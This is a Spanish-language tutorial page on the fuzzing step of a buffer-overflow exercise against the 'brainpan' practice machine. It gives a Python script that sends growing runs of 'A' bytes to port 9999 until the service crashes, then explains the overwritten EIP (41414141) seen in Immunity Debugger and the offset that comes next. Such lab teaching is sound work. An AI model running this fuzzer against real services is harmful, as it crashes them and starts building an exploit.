Fuzzing
bo
para empezar la etapa de fuzzing vamos a utilizar un script que nos permite buscar hasta que cantidad de bytes crashea un programa
import socket
import time
import sys
ip = "ip aqui"
port = 9999
timeout = 1
prefix = ""
string = prefix + "A" * 100 # Empieza con 100 bytes
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzeando con {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
# Aquí aumentamos 100 "A" más en cada iteración
string += "A" * 100
except:
print("Fuzzer ha crasheado en {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
Ahora probamos el script
python3 BOFFuzzer.py
ira probando bytes de poco a poco hasta ver cuando crashea el servicio

vemos que la brainpan ha crasheado despues de 600 bytes
abrimos el immunity debugger y vemos que el EIP marca un numero

EIP : 41414141
nos debe marcar este numero
cuando crasheas el EIP este contiene contenido basura o no valido ya que lo hemos sobreescrito. Por lo que nosotros hacemos el fuzzing y todos esos datos se derraman por la memoria, el CPU trata de usar esos datos basura como dirección (hace un RET, retornar) para ejecutar las instrucciones pero como no existe y da error el programa crashea al detectar el error porque la instrucción que da el CPU no es existente como dirección para el sistema operativo.
Ahora que hemos explotado el EIP necesitamos el Offset : la cantidad de bytes desde el comienzo del buffer hasta que hubo el crash
Last updated